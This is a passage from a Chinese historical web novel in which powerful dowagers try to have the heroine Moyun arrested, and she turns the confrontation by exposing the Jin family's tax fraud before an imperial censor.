众人不由的跟随行礼，但是余光都好奇的望向这个只在传说中听过的镇北王爷府的老王妃，她是昔日卢家的嫡女，连元帅都要称她为姑姑，如今乃驻守北境的镇北王爷府的老王妃。她身着素黑绣银的锦袍，虽已满头银发，却依然端庄肃穆，气场浑厚。
她只是冷凌的望向若辰说道：“本王妃，多年未出门走动，今日却不得不来，巡抚大人，言重了！”
若辰深深吸了口气，脑中马上回想起来，自己也曾听自己奶奶提过一句，昔日朝堂首辅府上的金老夫人，和卢家老元帅之妹，如今的镇北老王妃是闺中密友！没想到此事金老夫人居然请动了镇北老王妃来了南境。
紧随其后是金家的老夫人，昔日首辅家的金老夫人虽也年事已高，却仍保有昔日首辅夫人的气派。她一身素色丝绸衣裙，外面罩着厚重斗篷，神情冷峻，手中的檀木拐杖在青石板上轻点，发出清脆的声响。
她缓缓开口，声音中带着来者不善的威仪：“听闻昨日府中有些纷争，老身不请自来，还望巡抚大人勿怪。”
“岂敢！”若辰此时也只能伏低头应答。
而最后走到镇北老王妃身旁的是元帅府中的卢老太君。她一身褐色素衣，头发银白挽得整整齐齐，眉目间依旧是透着帅府老夫人威严，她微微含笑道：“巡抚大人不必多礼，先让老王妃和老夫人入府吧。”
她声音虽轻，但那种不容置疑的气势，也让在场之人不由肃然起敬。众人不禁微微抬目望向三位老夫人，三位老夫人站在一起，各有各的气度，但是都给人扑面而来的气势感。
卢老太君严而威矣，金老夫人冷而自持，镇北王府的老夫人则透着一股山雨欲来的沉静从容之势。
若辰不敢怠慢半分，连忙侧身引路，语气极为恭敬：“老夫人们请。”
三位老夫人步履从容地走了进来，身后跟随着几名侍女，衣袂翩翩，举止间无不尽显大家风范。
府内的官员见到三位老夫人踏入时，立即齐齐躬身行礼，神情皆万分恭敬无人敢多言，而三位老夫人瞧都未瞧周遭一眼，只是神色肃然地往府内走去。
此时，闻讯赶来的元帅和正啸，立刻上前恭敬地行礼：“见过镇北王妃，见过金老夫人，老太君。”
走在正中的老王妃缓缓停下脚步，目光锐利地扫过，当她的目光落在正啸身上时，那凌厉的气势才稍稍和缓，老王妃微微点头，透出一丝难得的欣慰：“嗯，啸儿颇有我兄长，你爷爷当年的气度。”
正啸伏低头行礼，眼中却闪过难掩的焦虑，他定然也意识到她们定是来者不善，然而他很快收敛神色，沉默地低头拱手行礼。
站在一旁的卢老太君却轻轻扬起嘴角，目光在正啸身上停留了片刻，眼中带着一抹意味深长的笑意，她既看穿了眼前的情景，也洞悉了一切暗藏的波澜。
三位老夫人继续向府内走去，而此时，大堂中的众刺史彼此交换了一个复杂的眼神——今日这局面，恐怕绝不只是商议军粮这么简单了。
若辰亦走到正啸的身边，他轻轻地说道：“我马上让茉云先离开！”
话音刚落，就在三位老夫人走进内堂的一瞬间，一个身影突然从旁边的台阶上轻盈地跳了下来——正是茉云。
她脸上带着一抹欢欣的笑意，本是轻松愉快地朝院外的宋大人望去，想去跟他打声招呼。
谁知看见了迎面而来的卢太君，愣了半刻，还没等她冲出院内，一旁速速赶来的季岚眼疾手快，一把拉住了她的手臂，低声提醒：“快行礼！”
茉云这才收敛了几分，跟着季岚迈步上前俯身行礼。
季岚万分恭敬地说道：“关家胡氏见过镇北王妃，见过金夫人，见过卢老太君！”
卢老太君目光微微一顿，挑眉望向茉云，脸上带着不动声色的平静。而老王妃和金老夫人的目光则如刀锋般冰冷，上下打量了茉云一番，毫不掩饰心中的嫌恶，好似面前之人不过是一粒尘埃，不值得她多看一眼。
茉云站在那里，显然她能看出老夫人对她的态度，却依然不卑不亢，保持着从容的姿态，直起身来后不再多言，安静地退到了一旁，这些轻视对她而言没无半分影响。
气氛顿时凝滞，走入内堂中，三位老夫人坐下，老王妃稳稳地坐在正中主座，周身气场震慑四方，眉目间尽显不容置疑的贵族威仪。卢老太君和金老夫人则分别坐在两侧，神情各异——卢老太君目光淡然却不失深沉，金老夫人却眉眼凌厉，处处透着冷意。
其余人则毕恭毕敬地站在堂下，不敢发出半点声响。
老王妃目光扫过众人，声音低沉开门见山地对元帅道：“镇远，我听说你属下的媳妇，将金府毁了，连御赐的门匾亦砸了。闹得满城风雨，可你却要为这猖狂之举作保？”
元帅闻言脸色一正，立刻拱手，声音沉稳而恭敬地答道：“姑姑，请容侄儿禀明。此事并非全无缘由，是因金家人先羞辱许家在先……”
话音未落，老王妃冷冷打断了他的话：“金家素来秉持有理，你说他们欺辱许家，可有证据？或有人证？”
她的话掷地有声，整个内堂一片寂静。众人面面相觑，却无一人敢开口，气氛顿时陷入了一种令人窒息的沉默。
而就在这时，一个身影从堂外快步走了进来，是金家老夫人的儿媳妇，也正是昨日被元帅吓走的金家夫人。
她一身装束精致，步伐从容，脸上带着几分冷笑，站在金家老夫人身旁行礼后，开口便矢口否认：“请镇北老王妃明鉴，我金家秉承老夫人教导，家风严谨，待许家甚为宽厚，从未做过羞辱许家媳妇之举。”
她话说得斩钉截铁，态度更是理直气壮，好似事情的真相便是如此，容不得任何质疑。
然而，她的话音刚落，站在一旁的畅夏顿时面露怒色，气得呼吸都急促了起来，拳头攥得咯咯作响，忍不住迈出一步，正要开口怒斥她说谎。沧海将军站在她身后，眼疾手快地伸手抓住她的胳膊，将她生生拦下，眼神告诉她不要冲动。
畅夏愤愤地回头，满眼的不甘与愤怒，难以忍受对方如此颠倒黑白。可沧海将军却微微摇头，示意她冷静下来。畅夏最后只得咬紧牙关，忍着满腔怒火退回原地。
而内堂中，老王妃目光冷冷扫过全场，嘴角微微一抿，显然对众人的沉默心生不悦，而金老夫人则神色冷厉，眼中带着几分怒意，似乎笃定此事再无反驳的余地。
元帅的脸色变得更加凝重，他深吸一口气站直了身躯，言语中带有几分无奈：“姑姑在上，今日巡抚衙门内南境各地的刺史齐聚于此，实是有军需粮饷的要事要谈，可否容我等先处理……”
“不安内，如何御外敌，你如今贵为大元帅，倒是分不清事情的主次了！”镇北王妃突然不容分说的怒斥道，让在场之人顿时倒抽了一口气。
内堂的气氛愈发紧张，仿佛连空气都凝滞了起来。而镇北老王妃从主座上站了起来，她虽年迈，却依旧挺拔如松，满头银发泛着冷光的走到元帅面前。
“元帅！”她声音如洪钟说道，“看看如今你统帅的卢家军，成何体统！让属下之人的家眷，恣意妄为，尽胆敢砸一品大员府邸，毁御赐门匾，闹得满城皆知，不堪至极，令我卢家军如何朝中立足，如何不失民心！”
老王妃的目光如刀，直直刺向元帅，语气愈发凌厉。
“我还听闻，大将军竟然敢私自调兵越境！这等军中大忌之事，你竟也纵容？若此事传入朝中，皇上将如何看待卢家军？朝堂之上，那些御史和大臣又将如何非议卢家军？你身为元帅，可有何脸面面对汝父，面对天下！”
元帅咬紧了牙关正欲言，镇北王妃一抬手，目光冷厉，直接将他的话堵了回去：“别与我说什么缘由！原因我不想听，我只看结果！如今卢家军居然如此不堪入目，你简直有辱家门传承！”
老王妃转身，目光狠狠落在茉云身上，那眼神仿佛见到一块碍眼的污秽，她语气更加严厉：“而这一切的起因，居然是为了救这样一个不知天高地厚的女子！许家之事，也是因她而起！她究竟是谁，有什么资格让卢正啸做出如此冒天下之大不韪之事？”
她的声音愈发严厉高亢，像一柄柄利剑刺入堂中众人的耳中，字字句句都像是审判。
“大战在即，军心不可乱！若纵容此等妖孽，如何正军风？如何立军威？”她冷冷地环视全场，声音低沉却不容置疑，“不将其法办，如何向皇上和天下交代！”
堂中一片寂静，所有人都低着头，不敢发出一声。元帅脸色铁青，嘴唇紧抿，显然在强压怒意，但面对镇北王妃的威严，他一时间竟无从反驳。
茉云则站在一旁，只是冷冷地看着这一切，眼神中透着一丝倔强与隐忍，很显然她们这是有备而来，冲着自己而来的，。
季岚此时见气氛紧张到极点，深吸一口气，双手端着一杯热茶，微微弯腰，上前柔声说道：“老王请妃息怒。”
她将茶递到老王妃面前，神情谦和，语气中满是劝慰，显然鼓足勇气上前想为茉云缓和一二。
然而，老王妃只是微微侧头，冷冷地看了她一眼，没有接过茶杯，反而缓缓开口，隐隐透着几分警告：“关夫人，你出身胡家，乃大家闺秀，本该与这等妖孽划清界限，切莫因为一时的妇
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人之仁，反倒招惹了妖孽，最终祸及自身。”
她的语气平静，却犹如一记重锤砸下，让季岚手中的茶盏都微微一颤。
老王妃的目光深深扫过她：“你身为巡抚夫人，当知什么是分寸，什么是取舍。今日她搅乱军心，明日她又将惹出什么祸端？这样的人，你不该有半点牵扯。你退下吧！”
季岚只得微微抿唇，脸色一瞬间有些苍白，只得沉默尴尬的站在一旁。
畅夏站在堂下双拳紧握，再也按捺不住。她猛地向前一步，声音带着几分颤抖的坚定：“金家之事，本该由我一力承担！若有什么错，尽可怪我，何必牵连茉云？岂能让她替我受过！”
她的声音回荡在堂中，带着不屈的执拗，仿佛一块石子投进了死水般的沉闷气氛，瞬间激起了波澜。众人被她突如其来的表态震得一怔，却依旧无人敢轻易插言。
然而，坐在一旁的金家老夫人却缓缓抬起头，脸上带着一抹温和的笑意，神情似乎颇为慈祥，但眼底却透着冷厉。
她微微一叹，语气带着一丝长辈的怜惜：“孩子啊，你心性单纯，未必能看透人心，被人利用挑拨，也未可知啊。”
畅夏闻言，怒火更盛，正欲开口反驳，金老夫人却不急不缓地继续说道：“金家才是你许家的亲人，你夫君和孩儿血脉中亦是流着金家的血。这些年你丈夫驻守边疆，你所受的委屈，金家并非视而不见。今日老夫人在此，并非想与你争执，而是想告诉你，外人终究是外人，只有亲人才能真正护你。”
她的声音虽轻，但每一个字都仿佛带着针刺般的力道。沧海拉着畅夏，畅夏紧攥的拳头微微颤抖，愤怒与委屈交织在她的脸上，但她无从辩驳……
金老夫人轻然一笑，将目光从畅夏身上移开，转向老王妃，微微欠身：“王妃，如今金家家丑外扬，理当由我们自行处置，还有劳您主持公道，真是抱歉。”
她的语气中早已透着一股胜券在握的自信，仿佛已然将局势掌控在手中。
季岚站在一旁亦深深吸了口气，望向若辰眼神中满是焦虑，今日这便是朝堂夫人中最鼎盛之人了，在她们的如此围猎下，茉云还有机会喘息吗？
“金老夫人言重了，你我之间不分彼此！再说这也是卢家军之事！”老王妃眼神中带着不容置疑的威严：“今日我决不能再容忍，定要将这妖孽押解进城，我自会代替尔等跟皇上请罪，请旨办她以正军法。”
内堂中的空气似乎凝固了，众人屏住呼吸，所有目光都吃惊得集中到镇北王妃身上，她居然不只是要赶走茉云，而是要法办茉云，可众人此刻好似也没有办法，只能眼睁睁看着风暴骤然降临。
老王妃忽然厉声喝道：“来人啊！将这妖孽押解带走！”
她的声音冷厉而威严，震得堂中众人更是一惊，然而，就在她的守卫即将上前时，正啸猛地上前一步，声音如雷般吼道：“住手！”
他的声音如此刚毅，瞬间将所有人的注意力吸引了过来。卢老太君亦抬眉看了过来……
老王妃瞬间愤然至极，眉宇间满是震怒：“啸儿，你竟还拦！你可知此妖孽便是一块毒，自古到哪儿，浸染到哪儿的就是毒！南境因她乱，军心因她散，你也因她而废，这等祸乱你看不到吗？”
正啸毫不退让，神情沉着如磐石不可撼动，他冷冷望向老王妃：“太阳所到之处，皆是光芒，难道太阳有罪吗？”
他的话音落下，众人都望向他，显然被他这话震撼，茉云亦怔了半刻望向正啸。
老王妃见状，脸色愈发阴沉，怒火几乎压抑不住：“你！你已被此妖女蛊惑至深，竟至如此不顾分寸！本王妃今日绝不容她再留，任你如何阻拦！”
然而，正啸依旧平静却霸气的说道：“王妃乃北境镇北王府之王妃，来南境本已是越境。何况，军中事务向来是我等军中将士的职责，女子不得干政乃祖制，老王妃此举亦是越矩！您若要执意干涉，正啸倒要看看，您的属下究竟有何能耐，能在南境随意将人带走处置！”
他的声音如雷贯耳，震得在场所有人心头一震。众人吃惊地望向大将军，连卢老太君都神色中闪过的震惊，显然她都没有想到正啸竟然敢如此正面对抗老王妃。
这一番话，几乎将所有积压的矛盾与权力冲突摊在了明面推至顶点，堂中的空气如凝固般令人窒息。
老王妃脸色铁青，气得浑身颤抖，猛地抬起手，“啪！”一声脆响，一巴掌狠狠甩在正啸脸上。堂中众人一阵惊愕，谁都没有预料到这一幕。
正啸却岿然不动，脸上火辣的掌印逐渐显现，但他没有躲让分毫，亦没有反驳，依旧挡在茉云身前，纹丝未动地立在那里。
堂中寂静无声，所有人屏住呼吸，注视着这一幕。老王妃的手微微颤抖，显然被大将军的态度气得无法言语。
而本是神情透着风轻云淡的茉云，此刻神色骤然一变，目光扫过正啸脸上的巴掌印，眼神中的淡然如水，刹那间如烈酒被点燃，眼眸深处透出一抹凌厉的狠戾。这样的神情，与她刚刚的从容洒脱判若两人，令人视之便不寒而栗。
而众人因心神被这番争斗冲突吸引而去，竟无人察觉，唯有一旁坐着的卢老太君将一切尽收眼底。她抬眉细细端详了片刻，随即唇角微扬，露出了一抹意味深长的笑意，心中暗自感叹——这下好戏来了。
198.斩棘
茉云站在堂中，刹那间变得冷落冰霜，她素来愈愤怒，愈冷静。短暂的沉寂之后，她竟露出了一抹令人捉摸不透的笑意，那笑容清然而冷冽，眼神如深潭一般，平静得看不出一丝波澜，却透着让人不寒而栗的光。
“这便是朝堂背后最鼎盛夫人之能耐？”她转过头，目光直视卢老太君，声音清清淡淡，眼神明明带笑，却透着刺骨的寒意和挑衅，像是锋利的冰刃。
卢老太君闻言，并未动怒，反而轻轻抿了一口手中茶杯中茶，嘴角带着似有若无的笑意看向她，好似在说，这世间本不只有是非黑白，很多事靠武和靠狠是解决不了的。
堂中众人被这对峙的气息压得大气不敢出，心中皆是惊涛骇浪。
茉云缓缓抬眸正视老王妃，眼身依旧冰冷，抬手指向金老夫人：“您方才说，您跟她不分彼此，是吗？”
老王妃正眼看向这个声音不高，身型消瘦，无一官半职，却带给众人扑面而来压迫感的人。
堂中一片寂静，而茉云那阴鸷而带着几分疯癫的眼神竟让气势如山的老王妃怔了片刻，眉间微蹙，似被这突如其来的凌厉气势所惊。
而茉云嘴角微微一扬，露出了一抹轻蔑的笑意：“原来夫人们的招数，靠出生，靠所嫁男人之权势，靠辈分，靠交情，就可指鹿为马，搅弄风云，嗯，倒也是不废一兵一卒亦能置人于死地，便算能耐。”
她的笑声回荡在内堂，堂中众人无不变色，连季岚忍不住诧异，她竟此时还如此明目张胆地挑衅这几位权势鼎盛的老夫人。
金家夫人脸色顿时一变，语气中透着不可置信与愤怒，厉声喝道：“你竟敢如此跟老王妃说话，你是疯了吗？！”
她话音未落，金老夫人眉头一皱，冷冷瞪了她一眼，目光中带着隐隐的不悦，仿佛在责备她这位儿媳，此时是没有说话资格的。金夫人顿时住了口，低头噤声不敢再言语。
茉云冷笑中透出几分不屑，目光又直直盯着老王妃：“听闻镇北王府，坐镇北境，便镇住全北境，老王妃还有何本事？不妨尽管使出来，让我见识见识。”
老王妃眼中怒火顿时迸发，双唇紧抿，整个人威压骤然提升：“放肆！”
她厉声一喝，抬起手毫不犹豫地一个耳光甩在茉云脸上，“啪”的一声，响彻整个内堂。
这一巴掌又快又狠，连正啸都未及时拉得开她，茉云的头微微被打得偏向一侧，脸颊上迅速浮现出一道红肿的印记。她缓缓转过头，那双眼睛仍旧冷静如冰，眼底却翻滚着难以掩饰的怒意。
老王妃冷冷瞪着她，脸色铁青，语气中满是威胁：“你不过是个小小贱民，竟敢在我面前如此放肆！今日我便要教你如何分清上下尊卑！”
茉云抬起头，眼神中寒意更盛，那抹冷笑不仅没有退去，反而愈发浓烈：“也就是说，您没别的招了？”
堂中众人都惊得大气不赶出。金老夫人却露出一抹冷笑，眼中带着幸灾乐祸，只觉得这个方茉云亦没有旁人传得那般厉害，竟是个进退都不知之人，老王妃定然是绝不会放过她了。而卢太君则若有所思的望向茉云……
整个内堂的空气都因这一巴掌变得愈发紧张，仿佛下一刻便会炸裂，可就在这剑拔弩张之时，一名巡抚公门中人匆匆跑入，单膝跪下，声音中带着几分急促：“巡抚大人，府衙外，御史台的余震大人，奉旨带队前来巡抚衙门了！”
此话一出，若辰脸色一变立刻说道：“快请余大人进来！”
他的声音也带这一丝疑虑，显然没有料到这会儿御史台察院之人会突然到访，而且来的是余震这位狠角色。
顷刻间，御史台察院的余震大人身着深色官袍面容冷峻，气势沉稳的带着众人迈入内堂，仿佛瞬间带来一股寒冬的肃杀之气。他眉目低垂，神色不动，只在经过一众刺史身旁，眼神在他们身上轻轻扫过，便让原本已经紧张的气氛更加凝滞。
刺史们看到御史台察院余大人在年前的光景，竟然来到此处，一个个心中打鼓，目光游移，素来御史台察院余大人奉皇命办差拿的都是刺史以上的大官，他此刻到来无疑让这些地方官员心中生出深深的不安。
有人低声窃语：“难道是谁又要轰然倒下了吗？”
更多的人则是默默垂首，神色紧张，连话都不敢说。
只有宋大人摸着胡须，神情泰然的伸手拍拍身边中州司马大人思淼的肩膀，叹息道：“余大人都来了，看样子非同小可！”
思淼亦心领神会的接过话说道：“宋大人说得是，就看人，老不老实交代了！”
余震大人一行人进入堂内冷眼扫视一圈，抱拳微微躬身，他是奉旨前来，按例可不行礼：“余某奉命办差，请巡抚大人命南境一众官员配合御史台查案！”
说完，还未等众人晃过神，他转头看向站在堂中的茉云，目光虽从容，却隐含审视之意。茉云抬目与其对视，眼神中没有一丝胆怯，反而透出凌厉的锋芒。
就在众人还摸不着头脑之时，茉云上前一步，从怀中掏出几封文书，当堂递给余震，声音如洪钟般响彻四野：“余大人，南恒刺史伙同南恒金家，将大量田地暗中计入卢家军沧海将军名下，意图以军功田为名免除赋税！此等恶行直接导致南境各地富庶达官贵人竞相效仿，隐瞒税田，破坏皇上钦定的军粮大计！”
内堂众人目光顷刻皆是惊骇，内堂外众人听闻皆一片哗然，刺史们面色骤变纷纷互相看着，南恒刺史更是错愕得说不出话来。
可茉云并未停下，声音愈发激昂，直指金家道：“如今大战在即，南境军资匮乏，而金家身为昔日一品大员之后，不思报效朝廷，还带头作奸犯科，逃避赋税，坏我朝纲，祸害南境抗敌大业！此等行径，罪该万死！”
她的声音犹如惊雷，炸响在堂中，字字铿锵，震得在场之人一时失语。
金老夫人此时便再也顾不得仪态，猛地一拍扶手站起，声音尖锐而颤抖的吼道：“一派胡言！”
她手中的拐杖狠狠敲在地面上发出清烈的声响，然后指着茉云，声音中依旧带着浓烈的愤怒。
“我金家世代为官，忠心耿耿，我夫昔日乃朝中首辅，岂能容你一个粗鄙贱女在这里凭空捏造，信口开河，污蔑我金家清誉！余大人，她实属居心叵测，还请御史台察院明察！”
她的一番怒斥，金家人纷纷附和，内堂的气氛愈发紧张。
然而，就在这时，突然传来急促的脚步声。众人还未来得及回神，只见南恒刺史满脸惊恐，连滚带爬地冲了进来，扑通一声跪在地上，猛然磕头，声音颤抖得几乎无法成句。
“余大人，我交代，我交代，下官罪该万死！下官……下官不敢再隐瞒了！是下官一时糊涂，被她人所胁迫，受到蛊惑，将田地虚报入沧海将军名下，意图逃避赋税！一切……一切罪责在下……恳求余大人恕罪！”
他的话音未落，金家老夫人脸色骤变，双手紧紧握住拐杖，整个人僵硬了半刻。堂外瞬间炸开了锅，刺史们纷纷低声议论，目光投向内堂张望而来，既有震惊也有警惕。
“不可能！”金老夫人还在高声喝道，试图挽回局面，“你受了何人威逼，如此意图污蔑我金家！”
然而，她的话还未说完，南恒刺史语气更加急切：“老夫人！您……您就别再推卸了！这事……这事分明是你儿媳金夫人指使的！账本和地契我都留了证据……我可都交给御史大人，我就是一个小刺史，您别再让我背锅啊！”
此话一出，所有目光齐刷刷地投向金老夫人，而身旁的金夫人吓得立即跪下，浑身颤抖的瘫倒在地。金老夫人顿时面色青白交替，看向自己儿媳眼中怒火几乎要喷薄而出，但什么都已是无法挽回了。
余震大人目光微凝，抬手接过茉云手上证据，翻开细看，脸上的冷峻之色更浓，随即将文书递给随行的察院官员，低声吩咐：“去核查。”
“是！”
罗刺史仿佛浑身的力气都被抽空，只剩额头重重磕在地板上，发出一声闷响，然后不停地磕头，声音哽咽充满恐惧：“余大人，下官知错！下官知错！恳请余大人开恩！下官一时糊涂啊，才犯下这等大错！求求您饶过下官吧！”
他额头已然磕肿，脸上满是汗水，整个人匍匐在地，声音颤抖不已，带着彻骨的惶恐，像是置身于即将倾覆的深渊，只能拼命抓住眼前最后一根稻草。
茉云冷眼看着，脸上没有一丝怜悯之色。她猛地转身，直直面向堂外，声音如雷霆般吼道：“堂外的那些刺史，都听着！”
她的声音穿透内堂，震得周遭仿佛都在颤动，堂外原本小声议论的刺史们顿时噤若寒蝉，纷纷低头生怕成为众矢之的。
“今日，你等还有一个交代的机会！别以为拿此事给那些达官贵人卖个人情，日后便能高枕无忧、平步青云！若再查实有谁所辖之地，有此等勾当——别说乌纱帽不保，全家都将不保！”
刺史们面面相觑，额头渗出冷汗，有些人甚至脚步踉跄，连站都站不稳。而宋大人却嘴角隐隐透出微笑，眼中都是赞叹和欣慰。
“南境的土地，朝廷的赋税，是用来保家卫国的，是用来供养浴血奋战的边关将士！”茉云继续说道，此时眼中怒火炽烈如燃。
所有人皆被她气势所震慑，竟无人敢出声。即便是御史台的余震大人，也不由得微微抬眼，目含赞许心生敬佩。
茉云目光冰冷地扫过：“那些将百姓和朝廷安慰置于不顾之人，便是与敌国同谋，便是叛臣，等待尔等，必是灭顶之灾！”
她的
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话如惊雷滚过，留下一片寂静，所有人都如芒在背。而金老夫人脸色连惯常的冷静都被撼动，眼神全是慌乱。
茉云震慑了所有刺史后，眼中的寒意未减半分，缓缓转身，目光犹如凝霜般望向老王妃，眼底的狠戾显而易见：“刚才，镇北王妃是说，您和金家不分彼此？”
老王妃威严的脸庞，此刻微微失了颜色，眉间的褶皱比以往更深，目光中透出一丝前所未有的诧异。
茉云的声音不高，却透着一股咄咄逼人的锋芒，她缓步向前，声音愈发冷冽：“老王妃从北境来南境，插手南境事务，却能命令元帅，殴打大将军，掌控军令，一言九鼎，王妃意欲何为？”
她顿了顿，眼中寒光愈盛，老王妃本能地还想保持平日的镇定和从容，却因茉云的步步紧逼，而流露出些许慌乱的神情，茉云却嘴角隐隐透着一丝凌厉的笑。
“难道说，无论南境还是北境，都已经尽在王妃掌控之中吗？若真是如此，那日后王妃想南北夹击，朝堂是否会岌岌可危，京城便如悬在江中的一叶孤舟？”
这番话如同惊雷一般炸响，堂中众人瞠目结舌，连余震都不由得看向茉云，而老王妃那层如钢铁般不可动摇的威严，仿佛顷刻间被这句话语狠狠击裂，她露出了一抹再难遮掩的慌张。
茉云却丝毫没有停下的意思，她步步紧逼，语气中带着狠戾的决绝：“还有，王妃方才提及的失了民心，亦不知是何意？这天下的民心，难道不该都向着皇上吗？自古民心不是应系于江山社稷吗？王妃，您这镇北王府，堂而皇之的要这民心作甚？你不怕天下人疑虑吗？”
堂内瞬间陷入死一般的寂静，所有人的目光都聚焦在茉云和老王妃之间，神情错愕至极。茉云的这番指控，犹如惊雷震得他们心神俱裂，这是何等严重的罪名——她这便是指责镇北王府有谋逆、犯上作乱之心，这简直是对于王爷府最严重也最可怕的指控！
连余震大人都眉头紧锁，目光如鹰般锐利，眼神中带着深深的探究与震动。
金老夫人原本呆滞的脸上，又露出了难以掩饰的惊异，嘴唇微微颤抖，似乎想说些什么，却又说不出来。
老王妃的威严与镇北王府的声望，在众人心中向来如山高海深，纵然也曾有御史质疑揣测过，但都无法撼动，而此刻，这座大山的根基似乎正被茉云动摇了。
堂中所有人都感受到一种无形的压力，仿佛刚刚的狂风骤雨，被现在山崩地裂所压制，众人都晃不过神来，只剩下一脸的震撼和不安。
老王妃的脸色更是难看到了极点，仿佛一瞬间所有的血色都褪尽，苍白得几近透明，眼神中震惊、愤怒、压抑和恐慌的情绪交织其中。嘴角紧抿成一条直线，隐隐透出强撑的威严，却力不从心。
茉云冷笑着，眼中依旧闪烁着那狠戾的光芒，看着这个半辈子给人扣帽子的老王妃，如今被人扣了这么大顶帽子之时，她戴不戴得住？众人只能屏息看着，仿佛下一刻老王妃那层强硬的外壳就会彻底崩溃。
就在此时，茉云还要开口步步紧逼之时，正啸突然用力一把拉住了茉云的手臂。茉云顿时身体一顿脸色微变，眉头瞬间皱起，只觉肩上一阵尖锐的疼痛传来，显然是尚未愈合的伤口被拉扯到了。
正啸亦察觉到她的痛楚，立即松开了手，但目光却未有丝毫退缩。他和茉云四目相对，双眉微蹙，像是在告诉她够了！
茉云微微一愣抿了抿嘴，脸上露出一抹不爽的表情，眼中仿佛都是无声地反驳，可最终那股咄咄逼人的气势隐忍了几分，没有继续再争执。卢太君亦瞧见了，嘴角微微上扬。
茉云没好气甩开正啸的手，抬头充满威慑的看了老王妃一眼，嘴角又不禁荡起一丝笑意，好似在说，我能受得了蝼蚁的卑微，而你受得了坠下的破碎吗？若否，何狂！
就是这一眼后，茉云便一脸冷然地转身径直离开内堂，不想再跟她们多呆一刻。
她重重地推开内堂之门，门的猛烈撞击声似乎就是她发泄出的心中不满。她径直走向内院，背影都带着一股凌厉的冷意，好似将所有的不爽都写在了背影上。然而，正当她刚要迈步入院时，身后忽然传来一个低沉却熟悉的声音。
“方茉云！”
她眉头一皱，是正啸叫她，她瞬间停下脚步却没回头，语气中透着明显的不快：“又怎么了？”
正啸并没有回应，脚步沉稳的走来，茉云不满地转身，却只见正啸抬手一击，手掌迅猛地劈向她的后颈。
“你——”她只来得及吐出一个字，眼前便是一黑，身体一软地向后倒去。
正啸抬手便抱住了倒下的她，动作干脆而稳重。他低头看了一眼怀中人，无奈的叹了口气，神色间却没有一丝迟疑，抱着她径直朝内院深处走去。
199.变脸
正啸抱起昏迷的茉云，步履稳重而带有几分急促的径直朝客房走去。
“立刻去请白神医来！”正啸低声下令道，语气中透着威严与急切。千山闻声立刻应声而去，不敢有丝毫耽搁。
正啸小心翼翼地将茉云放在客房的床榻上，目光落在她苍白的脸庞上。他俯身轻轻拨开她肩上的衣物，果不其然，肩上的旧伤红肿不堪，显然伤势是因近日的操劳和颠簸加重了，难怪这几日自己都能感受到她的气息不稳。
这时若辰等人亦跟了进来，正啸抬手便拿起被子给茉云盖上。
“她这是……”
“肩上的箭伤，伤重未愈！”正啸双眉紧皱的说道。
若辰愣了一下看向正啸，执礼亦望向他，众人都忘了，当日茉云留在沧海家，就是拜托夫人照顾她养伤的！
入夜之时，白神医夫妇才匆匆赶来，诊治过后迅速为茉云处理了伤口。她趴在床上，肩上的绷带被重新上了药包扎，药香弥漫在房间内。
不知过了多久，茉云在一片暖意中缓缓醒来。她睁开眼，目光模糊地环顾四周，发现自己趴在床上，肩膀上的痛楚似乎已被驱散大半。她抬头正欲撑起身，却感到一只有力的手轻轻按住她的背，将她压回床上。
“别动。”低沉而熟悉声音在她耳边响起，带着不容拒绝的坚定。
她转过头来，便看见正啸坐在床旁注视着她。他的神情中带着疲惫和关切，显然他自始至终未曾离开过。
“刚上了药，趴着。”正啸的声音温和却带着几分不容质疑，手上的力道虽轻，茉云却抵抗不了。
茉云看见他眼中深邃而温柔的目光，终究缓缓放下手，静静趴在床上，心中不知为何感到一丝从未有过的安宁。
她趴在床上侧过头，眼神中带着一抹戏谑，望向坐在床旁的正啸：“你那暴躁而跋扈的姑奶，自小就喜欢扇人嘴巴吗？”
正啸听闻随即嘴角忍不住勾起一抹无奈，低头看向茉云，那张平日里严峻而威严的脸庞，竟也浮现了出了柔和。
“姑奶一直性情刚烈，只在我爷爷去世之时，见她……”正啸深吸一口气，目光中流露出一丝复杂，“她确是严厉，但也不至于跋扈！”
“这还不是跋扈，上来就给你一巴掌，又给我一巴掌！”茉云没好气的骂着，说着又激动的差点扯动了伤口，只得乖乖躺着忿然的说，“君子动口不动手！”
正啸唇边露出一抹浅浅的笑意：“她难不成还有你跋扈啊？”
“我多好啊！”茉云顷刻反驳道。
此话一出，倒是两人都乐了，只是正啸的眼神中闪过一丝无语，又透出一抹宠溺。
此时，门外忽然传来轻轻的敲门声。正啸抬起头眉头微皱，却很快收敛了神情，起身走去打开了房门。
门外，若辰夫妇正站在门外，季岚手中端着一碗热气腾腾的药汤，轻声问道：“茉云醒了吗？白夫人特地嘱咐，这药要趁热喝。”
正啸微微颔首，侧身让开门口，若辰夫妇走入房中，季岚将药碗端到床旁，药香夹杂着淡淡的苦涩味弥漫开来。
茉云趴在床上，一抬眼便看到了那冒着热气的药，神情瞬间僵住。她的嘴角微微下撇，眼中透出难以掩饰的抗拒，下一刻她就别过脸去。
“这药是白神医特意配的，喝下去对你伤势有益。”季岚轻声劝道。
茉云压根没有撇过头来，全身都写满了抗拒。
“大奖军在此，你又躲不过！”季岚只得小声端着药碗继续凑近说道，若辰顷刻被逗笑了。
茉云眼中满是无奈，抬眸看向正啸，似乎在无声地抗议。
正啸却神色平静，不容分说地看着她：“别为难自己，趁热喝了。”
茉云眉头皱得更紧，目光在药碗和正啸之间来回扫了几遍，最终无奈地叹了一口气，伸出手接过药碗，脸上写满了心不甘情不愿。
若辰和季岚对视一眼，眼中流露出一丝会心的笑意。
“我怎么老喝药！”茉云喝完，苦得眼睛鼻子都皱到了一块儿。
正啸看着她，眉头微微蹙起，眼神中既有无奈又带着一丝隐隐的心疼。
当她放下药碗稍稍缓和，眼神却顷刻又复杂而锐利起来：“关若辰，当我看到中州的地契登记册时，心里倒是松了口气，幸亏我不用对你们下手。”
这话一出，季岚端着药碗的手猛然一抖，险些将碗掉在地上，她眼中闪过一丝惊愕。
若辰却十分从容而轻松的朗声道：“何苦这大晚上的吓坏我夫人。你啊，好好歇息，留些力气，明日再去找他们算账也不迟。”
他的声音平缓，却带着温润的安抚之意，终于将原本紧张的气氛化解了几分。
茉云嘴角微微扬起，乐了看向若辰：“感情还挺好！”
季岚顿时露出一副无奈的神情：“你真是变脸比翻书还快。”
茉云闻言，似笑非笑地望向季岚，语气悠然地说：“你可知变脸本是一门精巧的技艺，那可是要戴好多层面具，才能引得看客拍手叫好，不知那些夫人们累否？”
季岚望向茉云自然听出了她话中别有深意，她轻轻吸了一口气，自幼自己何尝不是如此……
